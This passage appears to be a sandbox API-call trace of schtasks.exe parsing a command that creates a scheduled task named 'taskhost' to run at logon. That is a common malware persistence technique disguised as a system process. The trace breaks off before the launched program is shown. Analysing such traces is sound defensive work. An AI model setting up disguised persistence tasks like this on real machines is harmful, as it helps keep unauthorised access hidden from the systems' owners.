returned 0x2f0000 [0142.834] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30ba90 [0142.834] _memicmp (_Buf1=0x30ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.834] GetProcessHeap () returned 0x2f0000 [0142.834] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xa0) returned 0x30c010 [0142.834] GetProcessHeap () returned 0x2f0000 [0142.834] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cb60 [0142.834] GetProcessHeap () returned 0x2f0000 [0142.834] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cb90 [0142.834] GetProcessHeap () returned 0x2f0000 [0142.834] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cbc0 [0142.834] GetProcessHeap () returned 0x2f0000 [0142.834] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30bab0 [0142.834] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.834] GetProcessHeap () returned 0x2f0000 [0142.834] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x200) returned 0x30d2a0 [0142.834] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0142.834] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0142.834] GetProcessHeap () returned 0x2f0000 [0142.834] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x30) returned 0x307a70 [0142.834] _vsnwprintf (in: _Buffer=0x30c010, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1df628 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0142.834] GetProcessHeap () returned 0x2f0000 [0142.834] GetProcessHeap () returned 0x2f0000 [0142.834] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1c0) returned 1 [0142.834] GetProcessHeap () returned 0x2f0000 [0142.834] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c1c0) returned 0x74e [0142.835] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1c0 | out: hHeap=0x2f0000) returned 1 [0142.835] SetLastError (dwErrCode=0x0) [0142.835] GetThreadLocale () returned 0x409 [0142.835] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.835] lstrlenW (lpString="?") returned 1 [0142.835] GetThreadLocale () returned 0x409 [0142.835] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.835] lstrlenW (lpString="create") returned 6 [0142.835] GetThreadLocale () returned 0x409 [0142.835] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.835] lstrlenW (lpString="delete") returned 6 [0142.835] GetThreadLocale () returned 0x409 [0142.836] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.836] lstrlenW (lpString="query") returned 5 [0142.836] GetThreadLocale () returned 0x409 [0142.836] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.836] lstrlenW (lpString="change") returned 6 [0142.836] GetThreadLocale () returned 0x409 [0142.836] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.836] lstrlenW (lpString="run") returned 3 [0142.836] GetThreadLocale () returned 0x409 [0142.836] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.836] lstrlenW (lpString="end") returned 3 [0142.836] GetThreadLocale () returned 0x409 [0142.836] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.836] lstrlenW (lpString="showsid") returned 7 [0142.836] GetThreadLocale () returned 0x409 [0142.836] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.836] SetLastError (dwErrCode=0x0) [0142.836] SetLastError (dwErrCode=0x0) [0142.836] lstrlenW (lpString="/create") returned 7 [0142.836] lstrlenW (lpString="-/") returned 2 [0142.836] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.836] lstrlenW (lpString="?") returned 1 [0142.836] lstrlenW (lpString="?") returned 1 [0142.836] GetProcessHeap () returned 0x2f0000 [0142.836] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30c1c0 [0142.836] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.836] GetProcessHeap () returned 0x2f0000 [0142.836] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xa) returned 0x30c1e0 [0142.836] lstrlenW (lpString="create") returned 6 [0142.836] GetProcessHeap () returned 0x2f0000 [0142.836] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30c200 [0142.836] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.836] GetProcessHeap () returned 0x2f0000 [0142.836] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x14) returned 0x30c220 [0142.836] _vsnwprintf (in: _Buffer=0x30c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|?|") returned 3 [0142.836] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|create|") returned 8 [0142.837] lstrlenW (lpString="|?|") returned 3 [0142.837] lstrlenW (lpString="|create|") returned 8 [0142.837] SetLastError (dwErrCode=0x490) [0142.837] lstrlenW (lpString="create") returned 6 [0142.837] lstrlenW (lpString="create") returned 6 [0142.837] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.837] GetProcessHeap () returned 0x2f0000 [0142.837] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1e0) returned 1 [0142.837] GetProcessHeap () returned 0x2f0000 [0142.837] RtlReAllocateHeap (Heap=0x2f0000, Flags=0xc, Ptr=0x30c1e0, Size=0x14) returned 0x30c240 [0142.837] lstrlenW (lpString="create") returned 6 [0142.837] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.837] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|create|") returned 8 [0142.837] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|create|") returned 8 [0142.837] lstrlenW (lpString="|create|") returned 8 [0142.837] lstrlenW (lpString="|create|") returned 8 [0142.837] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0142.837] SetLastError (dwErrCode=0x0) [0142.837] SetLastError (dwErrCode=0x0) [0142.837] SetLastError (dwErrCode=0x0) [0142.837] lstrlenW (lpString="/tn") returned 3 [0142.837] lstrlenW (lpString="-/") returned 2 [0142.837] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.837] lstrlenW (lpString="?") returned 1 [0142.837] lstrlenW (lpString="?") returned 1 [0142.837] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.837] lstrlenW (lpString="tn") returned 2 [0142.837] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.837] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|?|") returned 3 [0142.837] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|tn|") returned 4 [0142.837] lstrlenW (lpString="|?|") returned 3 [0142.837] lstrlenW (lpString="|tn|") returned 4 [0142.837] SetLastError (dwErrCode=0x490) [0142.838] lstrlenW (lpString="create") returned 6 [0142.838] lstrlenW (lpString="create") returned 6 [0142.838] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.838] lstrlenW (lpString="tn") returned 2 [0142.838] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.838] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|create|") returned 8 [0142.838] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|tn|") returned 4 [0142.838] lstrlenW (lpString="|create|") returned 8 [0142.838] lstrlenW (lpString="|tn|") returned 4 [0142.838] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0142.838] SetLastError (dwErrCode=0x490) [0142.838] lstrlenW (lpString="delete") returned 6 [0142.838] lstrlenW (lpString="delete") returned 6 [0142.838] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.838] lstrlenW (lpString="tn") returned 2 [0142.838] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.838] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|delete|") returned 8 [0142.838] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|tn|") returned 4 [0142.838] lstrlenW (lpString="|delete|") returned 8 [0142.838] lstrlenW (lpString="|tn|") returned 4 [0142.838] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0142.838] SetLastError (dwErrCode=0x490) [0142.838] lstrlenW (lpString="query") returned 5 [0142.838] lstrlenW (lpString="query") returned 5 [0142.838] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.838] lstrlenW (lpString="tn") returned 2 [0142.838] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.838] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|query|") returned 7 [0142.838] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|tn|") returned 4 [0142.838] lstrlenW (lpString="|query|") returned 7 [0142.838] lstrlenW (lpString="|tn|") returned 4 [0142.838] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0142.838] SetLastError (dwErrCode=0x490) [0142.839] lstrlenW (lpString="change") returned 6 [0142.839] lstrlenW (lpString="change") returned 6 [0142.839] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.839] lstrlenW (lpString="tn") returned 2 [0142.839] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.839] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|change|") returned 8 [0142.839] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|tn|") returned 4 [0142.839] lstrlenW (lpString="|change|") returned 8 [0142.839] lstrlenW (lpString="|tn|") returned 4 [0142.839] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0142.839] SetLastError (dwErrCode=0x490) [0142.839] lstrlenW (lpString="run") returned 3 [0142.839] lstrlenW (lpString="run") returned 3 [0142.839] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.839] lstrlenW (lpString="tn") returned 2 [0142.839] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.839] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|run|") returned 5 [0142.839] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|tn|") returned 4 [0142.839] lstrlenW (lpString="|run|") returned 5 [0142.839] lstrlenW (lpString="|tn|") returned 4 [0142.839] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0142.839] SetLastError (dwErrCode=0x490) [0142.839] lstrlenW (lpString="end") returned 3 [0142.839] lstrlenW (lpString="end") returned 3 [0142.839] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.839] lstrlenW (lpString="tn") returned 2 [0142.839] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.839] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|end|") returned 5 [0142.839] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|tn|") returned 4 [0142.840] lstrlenW (lpString="|end|") returned 5 [0142.840] lstrlenW (lpString="|tn|") returned 4 [0142.840] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0142.840] SetLastError (dwErrCode=0x490) [0142.840] lstrlenW (lpString="showsid") returned 7 [0142.840] lstrlenW (lpString="showsid") returned 7 [0142.840] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.840] GetProcessHeap () returned 0x2f0000 [0142.840] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c240) returned 1 [0142.840] GetProcessHeap () returned 0x2f0000 [0142.840] RtlReAllocateHeap (Heap=0x2f0000, Flags=0xc, Ptr=0x30c240, Size=0x16) returned 0x30c240 [0142.840] lstrlenW (lpString="tn") returned 2 [0142.840] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.840] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|showsid|") returned 9 [0142.840] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|tn|") returned 4 [0142.840] lstrlenW (lpString="|showsid|") returned 9 [0142.840] lstrlenW (lpString="|tn|") returned 4 [0142.840] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0142.840] SetLastError (dwErrCode=0x490) [0142.840] SetLastError (dwErrCode=0x490) [0142.840] SetLastError (dwErrCode=0x0) [0142.840] lstrlenW (lpString="/tn") returned 3 [0142.840] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0142.840] SetLastError (dwErrCode=0x490) [0142.840] SetLastError (dwErrCode=0x0) [0142.840] lstrlenW (lpString="/tn") returned 3 [0142.840] GetProcessHeap () returned 0x2f0000 [0142.840] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x8) returned 0x30c1e0 [0142.840] GetProcessHeap () returned 0x2f0000 [0142.840] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cbf0 [0142.840] SetLastError (dwErrCode=0x0) [0142.840] SetLastError (dwErrCode=0x0) [0142.840] lstrlenW (lpString="taskhost") returned 8 [0142.841] lstrlenW (lpString="-/") returned 2 [0142.841] StrChrIW (lpStart="-/", wMatch=0x74) returned 0x0 [0142.841] SetLastError (dwErrCode=0x490) [0142.841] SetLastError (dwErrCode=0x490) [0142.841] SetLastError (dwErrCode=0x0) [0142.841] lstrlenW (lpString="taskhost") returned 8 [0142.841] StrChrIW (lpStart="taskhost", wMatch=0x3a) returned 0x0 [0142.841] SetLastError (dwErrCode=0x490) [0142.841] SetLastError (dwErrCode=0x0) [0142.841] lstrlenW (lpString="taskhost") returned 8 [0142.841] GetProcessHeap () returned 0x2f0000 [0142.841] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x12) returned 0x30d4e0 [0142.841] GetProcessHeap () returned 0x2f0000 [0142.841] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc20 [0142.841] SetLastError (dwErrCode=0x0) [0142.841] SetLastError (dwErrCode=0x0) [0142.841] lstrlenW (lpString="/sc") returned 3 [0142.841] lstrlenW (lpString="-/") returned 2 [0142.841] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.841] lstrlenW (lpString="?") returned 1 [0142.841] lstrlenW (lpString="?") returned 1 [0142.841] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.841] lstrlenW (lpString="sc") returned 2 [0142.841] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.841] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|?|") returned 3 [0142.841] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|sc|") returned 4 [0142.841] lstrlenW (lpString="|?|") returned 3 [0142.841] lstrlenW (lpString="|sc|") returned 4 [0142.841] SetLastError (dwErrCode=0x490) [0142.841] lstrlenW (lpString="create") returned 6 [0142.841] lstrlenW (lpString="create") returned 6 [0142.842] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.842] lstrlenW (lpString="sc") returned 2 [0142.842] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.842] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|create|") returned 8 [0142.842] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|sc|") returned 4 [0142.842] lstrlenW (lpString="|create|") returned 8 [0142.842] lstrlenW (lpString="|sc|") returned 4 [0142.842] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0142.842] SetLastError (dwErrCode=0x490) [0142.842] lstrlenW (lpString="delete") returned 6 [0142.842] lstrlenW (lpString="delete") returned 6 [0142.842] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.842] lstrlenW (lpString="sc") returned 2 [0142.842] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.842] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|delete|") returned 8 [0142.842] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|sc|") returned 4 [0142.842] lstrlenW (lpString="|delete|") returned 8 [0142.842] lstrlenW (lpString="|sc|") returned 4 [0142.842] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0142.842] SetLastError (dwErrCode=0x490) [0142.842] lstrlenW (lpString="query") returned 5 [0142.842] lstrlenW (lpString="query") returned 5 [0142.842] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.842] lstrlenW (lpString="sc") returned 2 [0142.842] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.842] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|query|") returned 7 [0142.842] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|sc|") returned 4 [0142.842] lstrlenW (lpString="|query|") returned 7 [0142.842] lstrlenW (lpString="|sc|") returned 4 [0142.842] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0142.842] SetLastError (dwErrCode=0x490) [0142.842] lstrlenW (lpString="change") returned 6 [0142.842] lstrlenW (lpString="change") returned 6 [0142.842] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.843] lstrlenW (lpString="sc") returned 2 [0142.843] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.843] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|change|") returned 8 [0142.843] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|sc|") returned 4 [0142.843] lstrlenW (lpString="|change|") returned 8 [0142.843] lstrlenW (lpString="|sc|") returned 4 [0142.843] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0142.843] SetLastError (dwErrCode=0x490) [0142.843] lstrlenW (lpString="run") returned 3 [0142.843] lstrlenW (lpString="run") returned 3 [0142.843] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.843] lstrlenW (lpString="sc") returned 2 [0142.843] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.843] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|run|") returned 5 [0142.843] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|sc|") returned 4 [0142.843] lstrlenW (lpString="|run|") returned 5 [0142.843] lstrlenW (lpString="|sc|") returned 4 [0142.843] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0142.843] SetLastError (dwErrCode=0x490) [0142.843] lstrlenW (lpString="end") returned 3 [0142.843] lstrlenW (lpString="end") returned 3 [0142.843] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.843] lstrlenW (lpString="sc") returned 2 [0142.843] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.843] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|end|") returned 5 [0142.843] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|sc|") returned 4 [0142.843] lstrlenW (lpString="|end|") returned 5 [0142.843] lstrlenW (lpString="|sc|") returned 4 [0142.843] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0142.843] SetLastError (dwErrCode=0x490) [0142.843] lstrlenW (lpString="showsid") returned 7 [0142.843] lstrlenW (lpString="showsid") returned 7 [0142.843] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.844] lstrlenW (lpString="sc") returned 2 [0142.844] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.844] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|showsid|") returned 9 [0142.844] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|sc|") returned 4 [0142.844] lstrlenW (lpString="|showsid|") returned 9 [0142.844] lstrlenW (lpString="|sc|") returned 4 [0142.844] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0142.844] SetLastError (dwErrCode=0x490) [0142.844] SetLastError (dwErrCode=0x490) [0142.844] SetLastError (dwErrCode=0x0) [0142.844] lstrlenW (lpString="/sc") returned 3 [0142.844] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0142.844] SetLastError (dwErrCode=0x490) [0142.844] SetLastError (dwErrCode=0x0) [0142.844] lstrlenW (lpString="/sc") returned 3 [0142.844] GetProcessHeap () returned 0x2f0000 [0142.844] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x8) returned 0x30dcb0 [0142.844] GetProcessHeap () returned 0x2f0000 [0142.844] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc50 [0142.844] SetLastError (dwErrCode=0x0) [0142.844] SetLastError (dwErrCode=0x0) [0142.844] lstrlenW (lpString="ONLOGON") returned 7 [0142.844] lstrlenW (lpString="-/") returned 2 [0142.844] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0142.844] SetLastError (dwErrCode=0x490) [0142.844] SetLastError (dwErrCode=0x490) [0142.844] SetLastError (dwErrCode=0x0) [0142.844] lstrlenW (lpString="ONLOGON") returned 7 [0142.844] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0142.844] SetLastError (dwErrCode=0x490) [0142.844] SetLastError (dwErrCode=0x0) [0142.844] lstrlenW (lpString="ONLOGON") returned 7 [0142.844] GetProcessHeap () returned 0x2f0000 [0142.845] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x10) returned 0x30d500 [0142.845] GetProcessHeap () returned 0x2f0000 [0142.845] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc80 [0142.845] SetLastError (dwErrCode=0x0) [0142.845] SetLastError (dwErrCode=0x0) [0142.845] lstrlenW (lpString="/tr") returned 3 [0142.845] lstrlenW (lpString="-/") returned 2 [0142.845] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.845] lstrlenW (lpString="?") returned 1 [0142.845] lstrlenW (lpString="?") returned 1 [0142.845] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.845] lstrlenW (lpString="tr") returned 2 [0142.845] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.845] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|?|") returned 3 [0142.845] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|tr|") returned 4 [0142.845] lstrlenW (lpString="|?|") returned 3 [0142.845] lstrlenW (lpString="|tr|") returned 4 [0142.845] SetLastError (dwErrCode=0x490) [0142.845] lstrlenW (lpString="create") returned 6 [0142.845] lstrlenW (lpString="create") returned 6 [0142.845] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.845] lstrlenW (lpString="tr") returned 2 [0142.845] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.845] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|create|") returned 8 [0142.845] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|tr|") returned 4 [0142.845] lstrlenW (lpString="|create|") returned 8 [0142.846] lstrlenW (lpString="|tr|") returned 4 [0142.846] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0142.846] SetLastError (dwErrCode=0x490) [0142.846] lstrlenW (lpString="delete") returned 6 [0142.846] lstrlenW (lpString="delete") returned 6 [0142.846] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.846] lstrlenW (lpString="tr") returned 2 [0142.846] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.846] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|delete|") returned 8 [0142.846] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|tr|") returned 4 [0142.846] lstrlenW (lpString="|delete|") returned 8 [0142.846] lstrlenW (lpString="|tr|") returned 4 [0142.846] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0142.846] SetLastError (dwErrCode=0x490) [0142.846] lstrlenW (lpString="query") returned 5 [0142.846] lstrlenW (lpString="query") returned 5 [0142.846] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.846] lstrlenW (lpString="tr") returned 2 [0142.846] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.846] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|query|") returned 7 [0142.846] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|tr|") returned 4 [0142.846] lstrlenW (lpString="|query|") returned 7 